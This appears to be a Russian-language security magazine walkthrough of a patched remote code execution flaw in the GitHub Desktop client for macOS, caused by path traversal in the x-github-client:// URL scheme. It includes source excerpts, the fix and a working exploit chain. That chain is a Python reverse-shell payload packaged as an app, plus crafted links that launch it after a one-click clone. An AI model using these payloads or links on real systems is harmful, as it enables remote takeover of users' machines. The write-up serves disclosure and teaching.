Как работает уязвимость в клиенте GitHub для macOS
Эксплойт
В клиенте GitHub для macOS до версии 1.3.4 beta 1 нашлась возможность вызвать удаленное выполнение произвольных команд простым переходом по специально сформированной ссылке. В этой статье я расскажу о причинах возникновения и способах эксплуатации этой уязвимости.
Баг нашел Андре Баптиста (André Baptista) в рамках ивента H1-702 2018. Уязвимость заключается в некорректном механизме обработки кастомной URL-схемы x-github-client://, с помощью которой происходит общение с приложением.
Тестовый стенд
Так как сегодня рассматриваемая уязвимость работает только в macOS, все манипуляции будут производиться в ней. Я скачал виртуальную машину для VMware с macOS 10.14.1 Mojave на одном всем известном трекере.

Теперь нужно установить XCode и менеджер пакетов brew.
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
Разработчики GitHub не предоставляют возможность скачивать старые версии приложения. Поэтому придется компилировать его из исходников. Клонируем репозиторий с десктопным клиентом GitHub и не забываем, что последняя уязвимая версия — 1.3.4 beta 0, ее мы и будем использовать.
$ git clone --depth=1 -b release-1.3.4-beta0 https://github.com/desktop/desktop.git
Клиент разработан на основе фреймворка Electron и написан на TypeScript с использованием React. А это значит, что нам понадобится Node.js с кучей библиотек. Чтобы понять, как скомпилировать приложение, можно заглянуть в файл appveyor.yml. Это конфигурационный файл для сервиса системы непрерывной интеграции (CI) с таким же названием AppVeyor.
/desktop-release-1.3.4-beta0/appveyor.yml
install: - cmd: regedit /s script\default-to-tls12-on-appveyor.reg - ps: Install-Product node $env:nodejs_version $env:platform - git submodule update --init --recursive - yarn install --force
Git у нас уже имеется, а вот менеджер пакетов yarn нужно установить с помощью brew.
$ brew install yarn
Он уже идет в комплекте с Node, но имеющаяся версия слишком нова для нашего проекта.
/desktop-release-1.3.4-beta0/appveyor.yml
environment: nodejs_version: '8.11'

Поэтому устанавливаем версию из ветки 8.х.
$ brew install node@8
Затем заменяем версию «Ноды» на более старую с помощью команд link/unlink.
$ brew unlink node $ brew link node@8 --force --overwrite

Все готово для компиляции. Сначала последовательно выполняем команды из раздела install. Это подгрузит все необходимые зависимости и пакеты.
$ git submodule update --init --recursive $ yarn install --force

После этого переключаемся на команды из раздела build_script.
/desktop-release-1.3.4-beta0/appveyor.yml
build_script: - yarn lint - yarn validate-changelog - yarn build:prod
Причем первые две можно пропустить и обойтись только последней.
$ yarn build:prod

Теперь в директории /dist/GitHub Desktop-darwin-x64/GitHub Desktop.appнаходится готовое приложение. Можно скопировать его в папку Applications и запустить.

Пройди начальную настройку, и стенд готов.
Детали уязвимости
Посмотрим на исходники. Нас интересует, какие протоколы регистрирует приложение.
/desktop-release-1.3.4-beta0/script/build.ts
160: // macOS
161: appBundleId: getBundleID(),
162: appCategoryType: 'public.app-category.developer-tools',
163: osxSign: true,
164: protocols: [
165: {
166: name: getBundleID(),
167: schemes: [
168: isPublishableBuild
169: ? 'x-github-desktop-auth'
170: : 'x-github-desktop-dev-auth',
171: 'x-github-client',
172: 'github-mac',
173: ],
174: },
175: ],
Интерес представляет схема x-github-client. С ее помощью ты можешь общаться с приложением, отправлять различные команды и запросы, а они будут обработаны согласно зашитой логике. Посмотрим, какие методы можно использовать через данную схему.
/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts
073: export function parseAppURL(url: string): URLActionType {
074: const parsedURL = URL.parse(url, true)
075: const hostname = parsedURL.hostname
...
083: const actionName = hostname.toLowerCase()
084: if (actionName === 'oauth') {
...
104: if (actionName === 'openrepo') {
...
138: if (actionName === 'openlocalrepo') {
Давай заценим живой пример общения с десктопным приложением. Сначала авторизуемся и в приложении, и в браузере одним и тем же пользователем. Теперь откроем любой репозиторий на гитхабе. Я открою свой, потому что я нарцисс. Обрати внимание на кнопку клонирования — ее можно развернуть. Под катом расположились опции, среди которых Open in desktop. Если открыть консоль разработчика и посмотреть на ссылку данной кнопки, то увидишь нашу схему x-github-client для общения с приложением.

С помощью метода openrepo попробуем открыть репозиторий в приложении, и если его нет, то всплывающее окошко предложит его клонировать на локальную машину. Сделаем это.

Подобная иконка имеется и при просмотре отдельных файлов репозитория.

Здесь она имеет уже более интересный вид:
x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=pam_steal%2FREADME.md
В параметре filepath расположился путь до файла относительно репозитория. Если репозиторий уже клонирован и файл имеется на диске, то при обработке такой ссылки откроется Finder в соответствующей папке.
/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts
104: if (actionName === 'openrepo') {
105: const probablyAURL = parsedPath
106:
107: // suffix the remote URL with `.git`, for backwards compatibility
108: const url = `${probablyAURL}.git`
109:
110: const pr = getQueryStringValue(query, 'pr')
111: const branch = getQueryStringValue(query, 'branch')
112: const filepath = getQueryStringValue(query, 'filepath')
...
129: return {
130: name: 'open-repository-from-url',
131: url,
132: branch,
133: pr,
134: filepath,
135: }
/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts
841: case 'open-repository-from-url':
842: const { pr, url, branch } = action
...
846: const branchToClone = pr && branch ? null : branch || null
847: const repository = await this.openRepository(url, branchToClone)
848: if (repository) {
849: this.handleCloneInDesktopOptions(repository, action)
/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts
928: private async handleCloneInDesktopOptions(
929: repository: Repository,
930: action: IOpenRepositoryFromURLAction
...
959: if (filepath != null) {
960: const fullPath = Path.join(repository.path, filepath)
961: // because Windows uses different path separators here
962: const normalized = Path.normalize(fullPath)
963: shell.showItemInFolder(normalized)
964: }
/desktop-release-1.3.4-beta0/app/src/lib/app-shell.ts
14: export const shell: IAppShell = {
...
29: showItemInFolder: path => {
30: ipcRenderer.send('show-item-in-folder', { path })
31: },
/desktop-release-1.3.4-beta0/app/src/main-process/main.ts
362: ipcMain.on(
363: 'show-item-in-folder',
364: (event: Electron.IpcMessageEvent, { path }: { path: string }) => {
365: Fs.stat(path, (err, stats) => {
...
371: if (stats.isDirectory()) {
372: openDirectorySafe(path)
373: } else {
374: shell.showItemInFolder(path)
375: }
376: })
377: }
«Вижу путь — пробую path traversal» — таков девиз. Немного поигравшись с параметром, обнаруживаем, что уязвимость данного типа действительно присутствует. Например, при переходе по такой ссылке будет запущен калькулятор:
x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=../../../../../../../../../../../Applications/Calculator.app
Все потому, что проверка stats.isDirectory() отрабатывает в macOS, так как там приложения — это обычные папки, которые по-особенному обрабатываются системой. А дальше в теле функции openDirectorySafe вызывается встроенный во фреймворк Еlectron метод openExternal, где в качестве аргументов используется схема file:/// и переданный filepath.
/desktop-release-1.3.4-beta0/app/src/main-process/shell.ts
2: import { shell } from 'electron'
...
13: export function openDirectorySafe(path: string) {
14: if (__DARWIN__) {
15: const directoryURL = Url.format({
16: pathname: path,
17: protocol: 'file:',
18: slashes: true,
19: })
20:
21: shell.openExternal(directoryURL)
22: } else {
23: shell.openItem(path)
24: }
25: }
Теперь взглянем на патч-коммит под символичным названием macOS is a special.

/desktop-release-1.3.4-beta1/app/src/main-process/main.ts
371: if (!__DARWIN__ && stats.isDirectory()) {
372: openDirectorySafe(path)
Добавленная проверка теперь не дает методу openExternal отработать в macOS.
Для эксплуатации уязвимости с минимальным участием юзера, в один клик, нужно, чтобы у пользователя уже был клонирован твой репозиторий и стояла опция, которая по дефолту разрешает открывать ссылки типа x-github-client в GitHub Desktop.
Простейший пейлоад можно накидать в виде скрипта на Python.
poc.py
import socket,subprocess,os;
os.system("open -a calculator.app")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Здесь мы открываем калькулятор для наглядности и кидаем бэкконнект на порт 1337. Скомпилируем код в приложение при помощи PyInstaller.
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py python get-pip.py --user pip install pyinstaller --user pyinstaller -w poc.py mv dist/poc.app/ .
Затем создаем репозиторий, в который кладем наше приложение-пейлоад. Теперь нужно заставить пользователя кликнуть на ссылку, которая клонирует его и запустит нужную полезную нагрузку.
Для этих целей Андре Баптиста сделал приятную HTML-страничку. Ссылка ведет на его репозиторий, в котором лежит такое же приложение, что мы компилировали выше.
x-github-client://openRepo/https://github.com/0xACB/github-desktop-poc?branch=master&filepath=osx/evil-app/rce.app

После клика на Clone эксплоит успешно отрабатывает.

Вывод
Итак, мы разобрались в уязвимости приложения GitHub, которое написано на Electron, и научились эксплуатировать ее. Ты узнал, что клик по безобидной ссылке может привести к полной компрометации системы. Думаю, что в коде этого клиента можно найти еще много чего интересного, так что дерзай — ребята дают неплохие вознаграждения. А пока обновляйся и не кликай на подозрительные ссылки.